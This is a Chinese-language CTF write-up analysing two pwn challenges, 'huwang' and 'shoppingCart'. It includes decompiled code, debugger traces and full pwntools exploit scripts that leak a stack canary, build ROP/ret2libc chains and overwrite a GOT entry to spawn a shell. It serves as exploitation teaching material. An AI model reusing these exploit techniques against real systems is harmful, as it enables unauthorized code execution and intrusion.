huwang 0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file huwang huwang: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f74d9c8c7f896833ec74d4a898784772c139878a, stripped $ checksec huwang [*] '/home/.../Desktop/huwang/huwang' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
可以看到这是一个64bit的ELF程序,并且stripped掉了符号表。保护措施,除了PIE没有开启,也就是地址不会随机化,其他都开启了。
0x01 观察程序行为 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 $ ./huwang _ _ __ __ ____ _ | | | |_ \ \ / /_ _ _ __ __ _| __ ) ___(_) | |_| | | | \ \ /\ / / _` | '_ \ / _` | _ \ / _ \ | | _ | |_| |\ V V / (_| | | | | (_| | |_) | __/ | |_| |_|\__,_| \_/\_/ \__,_|_| |_|\__, |____/ \___|_| |___/ ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>> 3 Sorry, an unknown error has occurred! ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>> 1 size:5 content:12345 Success~ ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>> invalid choice ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>> 3 Sorry, an unknown error has occurred! ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>> 2 index:1 ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>> 4
可以看到,不管有没有Note,选Show Note,都显示Sorry, an unknown error has occurred!其它没什么特别的。下面我们用IDA打开来看看。
0x02 IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int v3; set_timer(); banner(); while ( 1 ) { while ( 1 ) { menu(); v3 = get_option_num(); if ( v3 != 3 ) break ; show_note(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit (0 ); if ( v3 == 666 ) option_666(); LABEL_15: puts ("invalid choice" ); } else if ( v3 == 1 ) { add_note(); } else { if ( v3 != 2 ) goto LABEL_15; delete_note(); } } }
我们可以看到,有一个选项666,并没有在菜单中出现,我们进去看一下。后面我们可以知道,除了这个666选项有用,其他选项是没用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 void __noreturn option_666 () { int v0; __int64 v1; __int64 v2; signed int i; int v4; int fd; int fda; int encrypt_nums; char result; char s[32 ]; char s1; char name; unsigned __int64 v12; v12 = __readfsqword(0x28 u); puts ("please input your name" ); read(0 , &name, 0x20 uLL); memset (s, 0 , 0x10 uLL); puts ("Do you want to guess the secret?" ); get_choose(&result, 2L L); if ( result == 'y' ) { if ( access("/tmp/secret" , 0 ) == -1 ) { HIDWORD(v1) = open("/tmp/secret" , 0x41 , 0777L L); fd = open("/dev/urandom" , 0 ); read(fd, s, 12u LL); LODWORD(v1) = 0 ; while ( (signed int )v1 <= 11 ) { s[(signed int )v1] &= 1u ; LODWORD(v1) = v1 + 1 ; } write(SHIDWORD(v1), s, 12u LL); close(SHIDWORD(v1)); close(fd); } v0 = open("/tmp/secret" , 0 , v1); read(v0, s, 12u LL); close(v0); puts ("Input how many rounds do you want to encrypt the secret:" ); encrypt_nums = get_option_num(); if ( encrypt_nums > 10 ) { puts ("What? Why do you need to encrypt so many times?" ); exit (-1 ); } if ( !encrypt_nums ) { printf ("At least encrypt one time" , s); exit (-1 ); } HIDWORD(v2) = open("/tmp/secret" , 0x201 ); LODWORD(v2) = 0 ; while ( (unsigned int )v2 < encrypt_nums ) { MD5((__int64)s, 16L L, (__int64)s); LODWORD(v2) = v2 + 1 ; } write(SHIDWORD(v2), s, 16u LL); close(SHIDWORD(v2)); puts ("Try to guess the md5 of the secret" ); read(0 , &s1, 16u LL); if ( !memcmp (&s1, s, 16u LL) ) cmp_md5_true((__int64)&name); v4 = open("/tmp/secret" , 0x201 , 0777L L, v2); fda = open("/dev/urandom" , 0 ); read(fda, s, 12u LL); for ( i = 0 ; i <= 11 ; ++i ) s[i] &= 1u ; write(v4, s, 12u LL); close(v4); close(fda); exit (0 ); } printf ("Oh!bye %s\n" , &name); exit (0 ); }
这里我们需要了解open()函数的flags的几个相关参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 头文件: #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> 函数原型: int open (const char *pathname, int flags, mode_t mode) ;函数参数: *pathname:要打开的文件的路径及名称 flags:位掩码,用于指定文件的访问模式 mode:当调用open()创建新文件时,指定了文件的访问权限,若flags未包含O_CREAT标志,则可以省略mode参数 flags: 文件访问标志:O_RDONLY、O_WRONLY、O_RDWR,这三者不能同时使用,只能指定其中一种 O_RDONLY:以只读权限打开 O_WRONLY:以只写权限打开 O_RDWR:以读写权限打开 文件创建标志:这里面只说此题中用到的O_TRUNC。 O_TRUNC:如果文件已经存在且为普通文件,那么将文件内容清空,将其长度置0. 已打开文件状态标志
这里由于IDA显示的是多个flags选项相或的值,我们可以通过constgrep命令查看每个flags选项的的值,并进行计算,确定所用的flags选项。
程序首先通过open()创建只写文件/tmp/secret,并赋予777权限。然后从/dev/urandom读出12个字节随机数,处理后存入/tmp/secret文件,并关闭文件。然后在执行MD5加密前,以flags:O_TRUNC(0x200)|O_WRONLY(0x01)调用open()函数,将/tmp/secret文件清空,对处理后的随机数执行MD5加密后,将MD5加密后的结果存入/tmp/secret文件。然后让我们猜加密后的MD5值,猜对了进入存在明显溢出漏洞的cmp_md5_true函数。
我们这里需要绕过MD5值对比的验证,进入漏洞函数进行利用。对随机数进行MD5加密的次数,是由用户控制的,由于程序只判断了加密次数大于10和等于0的情况,所以这里可以通过输入-1进行绕过。当我们输入-1时,在进行加密次数判断时,v2(无符号)与encrypt_num(有符号)比较时,-1会变成一个很大的数,致使程序一直处于加密循环中,造成程序运行超时退出,时间为一分钟。导致/tmp/secret文件为空,这是我们再开一个交互,就可以预测MD5的值了,由于文件为空,所以被加密的明文为”\x00”*16,我们通过hashlib算出”\x00”*16的MD5值,即可绕过验证。
下面是一些调试过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 1 、创建完/tmp/secret后,文件描述符值 0x4011dc mov eax , 0 0x4011e1 call 0x400b40 HIDWORD(v1) = open("/tmp/secret" , 0x41 , 0777LL) ► 0x4011e6 mov dword ptr [rbp - 0x7c ], eax 0x4011e9 mov esi , 0 0x4011ee mov edi , 0x4019cd *RAX 0x3 2 、看看程序对从/dev/unrandom读出的随机数做了什么 0x401216 mov dword ptr [rbp - 0x80 ], 0 ► 0x40121d jmp 0x40123b pwndbg> dq rbp -0x80 00007fffffffdc80 0000000300000000 00007fff00000004 00007fffffffdc90 0000000000000079 0000000000000000 00007fffffffdca0 b563b8cc0cfde998 00000000f9684b16 00007fffffffdcb0 00007fffffffddf0 0000000000000000 while ( v1 <= 11 ) // 有符号v1与0xB ,比较,小于0xB 则执行while循环,处理随机数 { s[v1] &= 1u LODWORD(v1) = v1 + 1 } 执行上一段代码前:s[32 ] pwndbg> db rbp -0x60 00007fffffffdca0 98 e9 fd 0c cc b8 63 b5 16 4b 68 f9 00 00 00 00 00007fffffffdcb0 f0 dd ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 执行上一段代码后:s[32 ] pwndbg> db rbp -0x60 00007fffffffdca0 00 01 01 00 00 00 01 01 00 01 00 01 | 00 00 00 00 00007fffffffdcb0 f0 dd ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 这段代码使读出的随机数每个字节的高7 位为0 3 、将处理后的随机数写入/tmp/secret 0x401245 mov eax , dword ptr [rbp - 0x7c ] 0x401248 mov edx , 0xc 0x40124d mov rsi , rcx 0x401250 mov edi , eax ► 0x401252 call 0x400b38 write(SHIDWORD(v1), s, 12uLL) pwndbg> dumpargs --force rdi = 0x3 /tmp/secret rsi = 0x7fffffffdca0 ◂— 0x101000000010100 随机数 rdx = 0xc rcx = 0x7fffffffdca0 ◂— 0x101000000010100 r8 = 0x7ffff7fd3700 ◂— 0x7ffff7fd3700 r9 = 0x1999999999999999 4 、看看第二次打开/tmp/secret时的文件描述符的值 0x40126b mov esi , 0 0x401270 mov edi , 0x4019c1 0x401275 mov eax , 0 ► 0x40127a call 0x400b40 v0 = open("/tmp/secret" , 0 , v1) pwndbg> dumpargs --force rdi = 0x4019c1 ◂— '/tmp/secret' rsi = 0x0 rdx = 0xc rcx = 0x7ffff76c08f0 (__close_nocancel+7 ) ◂— cmp rax , -0xfff r8 = 0x7ffff7fd3700 ◂— 0x7ffff7fd3700 r9 = 0x1999999999999999 *RAX 0x3 和第一次打开的文件描述符一样?前一个文件描述符已经关闭了 5 、看看第三次打开/tmp/secret时的文件描述符的值 ► 0x401303 call 0x400b40 HIDWORD(v2) = open("/tmp/secret" , 0x201 ) pwndbg> dumpargs --force rdi = 0x4019c1 ◂— '/tmp/secret' rsi = 0x201 rdx = 0x0 rcx = 0x7fffffffdc51 ◂— 0xfa00000000000031 /* '1' */ r8 = 0x0 r9 = 0x1999999999999999 *RAX 0x3 依旧是3 ,因为前面两次都关闭了文件描述符 文件描述符的值始终是当前可用的最小的值,0x00 、0x01 、0x02 分别被stdin、stdout、stderr占据,所以之前没有打开的文件时,当前打开的文件的文件描述符为0x03 6 、查看保存文件描述符的变量的值 0x401308 mov dword ptr [rbp - 0x7c ], eax 0x40130b mov dword ptr [rbp - 0x80 ], 0 ► 0x401312 jmp 0x40132d pwndbg> dq rbp -0x80 v2=0x0000000300000000 00007fffffffdc80 0000000300000000 ffffffff00000004 00007fffffffdc90 0000000000000079 0000000000000000 00007fffffffdca0 0101000000010100 0000000001000100 00007fffffffdcb0 00007fffffffddf0 0000000000000000 7 、当加密次数输入为-1 时,一直处于加密循环中 0x40132d mov eax , dword ptr [rbp - 0x80 ] v2 0x401330 cmp eax , dword ptr [rbp - 0x74 ] encrypt_nums ► 0x401333 ✔ jb 0x401314 (unsigned int )v2 < encrypt_nums pwndbg> dd rbp -0x80 v2=0x00000000 00007fffffffdc80 00000000 00000003 00000004 ffffffff 00007fffffffdc90 00000079 00000000 00000000 00000000 00007fffffffdca0 00010100 01010000 01000100 00000000 00007fffffffdcb0 ffffddf0 00007fff 00000000 00000000 pwndbg> dd rbp -0x74 encrypt_nums=0xffffffff 00007fffffffdc8c ffffffff 00000079 00000000 00000000 00007fffffffdc9c 00000000 00010100 01010000 01000100 00007fffffffdcac 00000000 ffffddf0 00007fff 00000000 00007fffffffdcbc 00000000 00000000 00000000 f75ffe90 8 、canaryoption_666() RBP 0x7fffffffdd00 —▸ 0x7fffffffdd10 —▸ 0x401510 ◂— push r15 RSP 0x7fffffffdc80 ◂— 0x5000000 c: 0060 │ rsi 0x7fffffffdce0 ◂— 0x4141414141414141 ('AAAAAAAA' )... ↓ 0f:0078 │ 0x7fffffffdcf8 ◂— 0xac2fcd3b25ae0f00 <<canary 10 :0080 │ rbp 0x7fffffffdd00 —▸ 0x7fffffffdd10 —▸ 0x401510 ◂— push r15 get_option_num() 0x400d47 push rbp 0x400d48 mov rbp , rsp 0x400d4b sub rsp , 0x20 0x400d4f mov rax , qword ptr fs :[0x28 ] ► 0x400d58 mov qword ptr [rbp - 8 ], rax 03 :0018 │ 0x7fffffffdc68 ◂— 0xac2fcd3b25ae0f00 <<canary04 :0020 │ rbp 0x7fffffffdc70 —▸ 0x7fffffffdd00 —▸ 0x7fffffffdd10 —▸ 0x401510 ◂— push r15 得出一个结论,每次程序运行后,所有函数使用的canary值是一样的,以前我认为是不一样的。我没有做更多的验证,所以我也不是很确定对不对。 还有就是都是从fs :0x28 取canary。
我们绕过了MD5验证,进入cmp_md5_true()函数看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __fastcall cmp_md5_true (__int64 name) { char v1; int v3; char occupation; char s; unsigned __int64 v6; v6 = __readfsqword(0x28 u); printf ("Congratulations, %s guessed my secret!\n" , name); puts ("And I want to know someting about you, and introduce you to other people who guess the secret!" ); puts ("What`s your occupation?" ); get_choose(&occupation, 255L L); v3 = snprintf ( &s, 0xFF uLL, "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........." "................................................................................................." , name, &occupation); puts ("Here is your introduce" ); puts (&s); puts ("Do you want to edit you introduce by yourself[Y/N]" ); v1 = getchar(); getchar(); if ( v1 == 'Y' ) read(0 , &s, v3 - 1 ); return printf ("The final presentation is as follows:%s\n" , &s); }
当我们输入的名字长度为0x19字节时,就可以leak出canary,得到canary,我们就可以绕过canary保护机制,然后再利用ROP绕过NX,执行shellcode了。由于libc是开启PIE的,所以我们直接使用确定的函数地址,只能动态获得。我们通过调用cmp_md5_true()函数,传入参数为puts()函数的got表地址,因为之前已经调用过puts()函数了,所以可以直接打印出puts()函数的地址。然后我们就可以确定libc的基地址,从而获得system()的地址和/bin/sh的地址。获得shell。
0x03 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *import hashlibcontext.clear() context.binary ='./huwang' context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } libc = ELF('./libc.so.6' ,checksec=False ) elf = ELF('./huwang' ,checksec=False ) pop_rdi_ret = 0x401573 puts_got = elf.got['puts' ] cmp_md5_true = 0x40101C debug = 1 def option_666 (io,name,guess,encrypt_num,md5_ciphertext,flag) : io.recvuntil('command>> \n' ) io.sendline('666' ) io.recvuntil('please input your name\n' ) io.send(name) io.recvuntil('Do you want to guess the secret?\n' ) io.sendline(guess) io.recvuntil('Input how many rounds do you want to encrypt the secret:\n' ) io.sendline(str(encrypt_num)) if flag == 1 : io.recvuntil('Try to guess the md5 of the secret\n' ) io.send(md5_ciphertext) def debug_remote (ip,port,breakpoint) : if debug == 1 : io = process('./huwang' ,env = {'LD_PRELOAD' : './libc.so.6' }) else : io = remote(ip,port) return io def md5_encrypt (plaintext) : md = hashlib.md5() md.update(plaintext.encode()) ciphertext = md.hexdigest() return ciphertext.decode('hex' ) def exploit (ip,port) : io1 = debug_remote(ip,port,'' ) option_666(io1,'Sp4n9x' ,'y' ,-1 ,'Sp4n9x' ,0 ) io1.recvuntil('timeout~\n' ) io2 = debug_remote(ip,port,'b *0x040110D\nc' ) md5_ciphertext = md5_encrypt('\x00' *16 ) option_666(io2,'Sp4n9x' .rjust(0x19 ,'A' ),'y' ,1 ,md5_ciphertext,1 ) io2.recvuntil('Sp4n9x' .rjust(0x19 ,'A' )) canary = u64('\x00' + io2.recvn(7 )) print hex(canary) io2.recvuntil('What`s your occupation?\n' ) io2.send('A' *0xff ) io2.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n' ) io2.sendline('Y' ) ''' stack status 0x4141414141414141 ........ 0x0200cf560c7a0a41 <- canary 0x0000000000000000 <- rbp 0x0000000000401573 <- pop rdi ; ret 0x0000000000602F70 <- puts_got 0x000000000040101C <- cmp_md5_true ''' shellcode1 = 'A' *0x108 + p64(canary) + p64(0 ) shellcode1 += p64(pop_rdi_ret) + p64(puts_got) + p64(cmp_md5_true) io2.send(shellcode1) io2.recvuntil('Congratulations, ' ) puts_addr = u64(io2.recvn(6 ) + '\x00' *2 ) libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + int(next(libc.search('/bin/sh' ),16 )) io2.recvuntil('What`s your occupation?\n' ) io2.send('A' *0xff ) io2.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n' ) io2.sendline('Y' ) ''' stack status 0x4141414141414141 ........ 0x0200cf560c7a0a41 <- canary 0x0000000000000000 <- rbp 0x0000000000401573 <- pop rdi ; ret 0x0000000000602F70 <- '/bin/sh' 0x000000000040101C <- system ''' shellcode2 = 'A' *0x108 + p64(canary) + p64(0 ) shellcode2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) io2.send(shellcode2) io2.interactive() if __name__ == '__main__' : exploit('127.0.0.1' ,1000 )
0x04 总结 这道题前面的Note菜单有点迷惑人,让人以为是一道堆相关的题目,打开IDA分析后,发现与堆没有任何关系。主要考查的是,open()的参数flags的几个选项的作用。还有就是有符号数与无符号数进行比较会发生的错误。以及通过泄露canary的值实现栈溢出,通过ROP绕过NX保护,ret2libc获取shell。
0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file shoppingCart shoppingCart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3fcbc93317b6160fe21ecee679180c2a99c67685, stripped $ checksec shoppingCart [*] '/home/...../Desktop/shoppingcart/shoppingCart' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
恩,一个64bit的程序,去除了符号表,开启了全部保护。开了PIE就需要泄露地址,所以有点麻烦。
0x01 运行程序,观察程序功能 1 2 3 4 5 6 7 8 9 buffer@ubuntu64:~/Desktop/shoppingcart$ ./shoppingCart /*** * |) |) |) * |)L|\/|)L|\/|)L|\/ * / / / */ EMMmmm, you will be a rich man! cmskmsk EMMmmm, you will be a rich man!
程序只是输出了一些信息,并未提示让我们输入什么。所以利用IDA静态分析一下。
0x02 IDA静态分析 mian()函数里有两个自定义函数。
1 2 3 4 5 6 7 8 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { puts("/***\n* |) |) |) \n* |)L|\\/|)L|\\/|)L|\\/ \n* / / / \n*/" ) money_menu() goods_menu() puts("Happy Shopping Day!\nbye~" ) return 0LL }
一个是与money有关的函数,一个是与goods有关的函数。我们先来看看money_menu()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 money_menu () { unsigned __int64 option_num; char option_str; unsigned __int64 canary; canary = __readfsqword(0x28 u); while ( 1 ) { while ( 1 ) { puts ("EMMmmm, you will be a rich man!" ); fgets(&option_str, 24 , stdin ); option_num = strtoul(&option_str, 0L L, 0 ); if ( option_num != 2 ) break ; removemoney(); } if ( option_num == 3 ) break ; if ( option_num == 1 ) getmoney(); } return __readfsqword(0x28 u) ^ canary; }
我们需要输入一个选项,来进入不同的功能。经过分析,输入2时,会执行删除money的操作,但是里面只是提示了不能删除。所以这个功能并没有什么用。输入3时跳出money_menu。输入1时执行getmoney(),所以,我们进入这个函数去看一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int getmoney () { __int64 *v0; money *money_ptr1; money *money_ptr2; __int64 v3; __int64 money_num; if ( money_sum <= 19 ) { puts ("I will give you $9999, but what's the currency type you want, RMB or Dollar?" ); money_ptr1 = malloc (16u LL); money_ptr2 = money_ptr1; money_ptr1->num = 9999L L; fgets(&money_type[8 * money_sum], 8 , stdin ); money_ptr2->money_type = &money_type[8 * money_sum]; v3 = money_sum++; money_num = v3; v0 = money_list; money_list[money_num] = money_ptr2; } else { LODWORD(v0) = puts ("You already have enough money!" ); } return v0; }
这里是经过优化的代码,我们看起来会比较好理解一点,原本并不是这样的。初始状态不仔细看是不容易看不出来有money和goods两个结构体的(对于新手来说),我们需要利用IDA的优化代码的功能,添加这两个结构体。具体的添加方法可以参考IDA Pro权威指南。
1 2 3 4 5 6 7 8 9 10 11 12 00000000 money struc ; (sizeof=0x10, mappedto_6) 00000000 money_type dq ? 00000008 num dq ? 00000010 money ends 00000010 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 goods struc ; (sizeof=0x10, mappedto_7) 00000000 goods_name dq ? 00000008 num dq ? 00000010 goods ends 00000010
这个函数能够在堆上最多定义20个money结构体,每个money结构体具有两个成员,money_type和num,num是固定的9999,money_type是任意的,也可以使用题目说的RMB和Dollar,并不会影响解题。结构体对象是存在堆上的,前8个字节存储money_type字符串的地址,而money_type是存储在.bss段的,并且最后也会将money结构体对象的指针存入.bss段的一个数组中,我将其命名为money_list。
我们再来看看goods_menu()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned __int64 goods_menu () { unsigned __int64 option_num; char option_str; unsigned __int64 canary; canary = __readfsqword(0x28 u); do { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts ("Now, buy buy buy!" ); fgets(&option_str, 24 , stdin ); option_num = strtoul(&option_str, 0L L, 0 ); if ( option_num != 2 ) break ; delete_goods(); } if ( option_num > 2 ) break ; if ( option_num == 1 ) add_goods(); } if ( option_num != 3 ) break ; edit_goods(); } } while ( option_num != 4 ); return __readfsqword(0x28 u) ^ canary; }
goods具有三个选项,add、delete、edit,问题出现在add_goods()函数和edit_goods()函数中。这里需要说明一下,用堆的做法,会涉及到add_goods()和edit_goods()中的两个漏洞,另一种方法只会使用到edit_goods()中用来泄露地址的漏洞。这里先说说不用堆的方法吧,用堆的方法,我暂时还没有弄清楚,我们进入edit_goods()函数看一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 edit_goods () { unsigned __int64 goods_num; __int64 v1; char goods_num_str; unsigned __int64 canary; canary = __readfsqword(0x28 u); puts ("Which goods you need to modify?" ); fgets(&goods_num_str, 24 , stdin ); goods_num = strtoul(&goods_num_str, 0L L, 0 ); printf ("OK, what would you like to modify %s to?\n" , *goods_list[goods_num], goods_num); *(*goods_list[v1] + read(0 , *goods_list[v1], 8u LL)) = 0 ; return __readfsqword(0x28 u) ^ canary; }
此函数中没有对输入的数据进行验证,当我们修改goods参数时,输入的goods编号为负数时,经过strtoul转换后,会造成后面打印的时候,越界读取数组,泄露地址信息。修改数据的时候会造成任意地址写。我们再来看看.bss段上数据的排布:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .bss:0000000000202090 goods_sum dq ? ; DATA XREF: add_goods+17↑r .bss:0000000000202090 ; add_goods+E1↑r ... .bss:0000000000202098 money_sum dq ? ; DATA XREF: getmoney+8↑r .bss:0000000000202098 ; getmoney+53↑r ... .bss:00000000002020A0 ; char money_type[160] .bss:00000000002020A0 money_type db 0A0h dup(?) ; 0 .bss:00000000002020A0 ; DATA XREF: getmoney+62↑o .bss:00000000002020A0 ; getmoney+8B↑o .bss:0000000000202140 money_list dq 14h dup(?) ; 0 .bss:0000000000202140 ; DATA XREF: getmoney+B6↑o .bss:00000000002021E0 ; _QWORD goods_list[20] .bss:00000000002021E0 goods_list dq 14h dup(?) ; 0 .bss:00000000002021E0 ; DATA XREF: add_goods+FB↑o .bss:00000000002021E0 ; delete_check+24↑o ...
可以看到money_type、money_list、goods_list都是相连的,通过对goods_list的越界读取,可以泄露出程序的某一处地址。说来也巧,刚好在其上面不远处有一个指向自身的指针,我们可以计算偏移,泄露出此处的地址,计算出elf文件的加载基址。这处地址在elf文件的偏移0x202068处。
1 2 .data: 0000000000202068 off_202068 dq offset off_202068 .data: 0000000000202068
0x03 exp(non-heap) 利用思路:
1、调用getmoney()获得money,这里可以只获得两个money,因为后面只用到了money_list的前两个,也可以添加满20个。 2、利用edit_goods()泄露elf偏移0x202068处的地址,并计算出elf文件的加载基址,再计算出puts_got的地址。这里为什么不能直接泄露got表函数的地址,后面再说。 3、修改money_list[0]中的指针为money_list[1]的地址,修改money_list[1]中的指针为puts_got的地址。这里是为了泄露puts函数地址并且修改got表。因为修改goods_name的时候,是一个二级指针结构,所以这里也需要构造成一个二级指针结构。 4、然后将libc中的execv(“/bin/sh”)片段地址覆盖puts_got地址,再次调用puts()时,就会执行execv(“/bin/sh”)。
第二步为什么不能直接泄露puts_got的内容,就是因为第三步中所说的,泄漏的内容需要具有一个二级指针结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.clear() context.binary ='./shoppingCart' context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } debug = 1 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec = False ) def getmoney (io,num) : for i in range(num): io.sendlineafter('EMMmmm, you will be a rich man!\n' ,'1' ) io.sendlineafter('RMB or Dollar?\n' ,'RMB' ) io.sendlineafter('EMMmmm, you will be a rich man!\n' ,'3' ) def edit_goods (io,index,content,flag) : io.sendlineafter('Now, buy buy buy!\n' ,'3' ) io.sendlineafter('Which goods you need to modify?\n' ,index) if flag == 1 : io.recvuntil('OK, what would you like to modify ' ) addr = u64(io.recv(6 ).ljust(8 ,'\0' )) return addr else : io.sendline(content) if debug: io = process('./shoppingCart' ) else : io = remote('127.0.0.1' ,1000 ) getmoney(io,0x14 ) addr = edit_goods(io,'-47' ,'' ,1 ) elf_base = addr - 0x202068 io.sendline(p64(addr)) puts_got = elf_base + 0x202020 money_name1 = elf_base + 0x2020a8 edit_goods(io,'-0x14' ,p64(money_name1),0 ) edit_goods(io,'-0x13' ,p64(puts_got),0 ) puts_addr = edit_goods(io,'-0x28' ,'' ,1 ) print "puts_addr=" +hex(puts_addr)libc_base = puts_addr - libc.symbols['puts' ] shell = p64(libc_base + 0x45216 ) io.send(shell) io.interactive()
Reference https://laucyun.com/3411bc6f400207178b85defa04474b4a.html#directory-0146717171785671911 https://xz.aliyun.com/t/2897# https://veritas501.space/2018/10/15/%E6%8A%A4%E7%BD%91%E6%9D%AF%20pwn%20wp/
https://blog.csdn.net/w12315q/article/details/83119560 http://m4x.fun/post/hwb2018-pwn-writeup/ https://www.jianshu.com/p/9375c32b2159
https://www.freebuf.com/articles/rookie/155971.html http://p4nda.top/2018/10/14/hwb-ctf-2018/ https://blog.csdn.net/qq_38204481/article/details/83216384 http://transparentsite.top/2018/10/%E6%8A%A4%E7%BD%91%E6%9D%AFpwn-shoppingcart/ https://www.jianshu.com/p/b96e90ff6f72 https://waterdrop-team.github.io/2018/10/13/hwb-2018-writeup/ http://blog.leanote.com/cate/xp0int/%E6%8A%A4%E7%BD%91%E6%9D%AF2018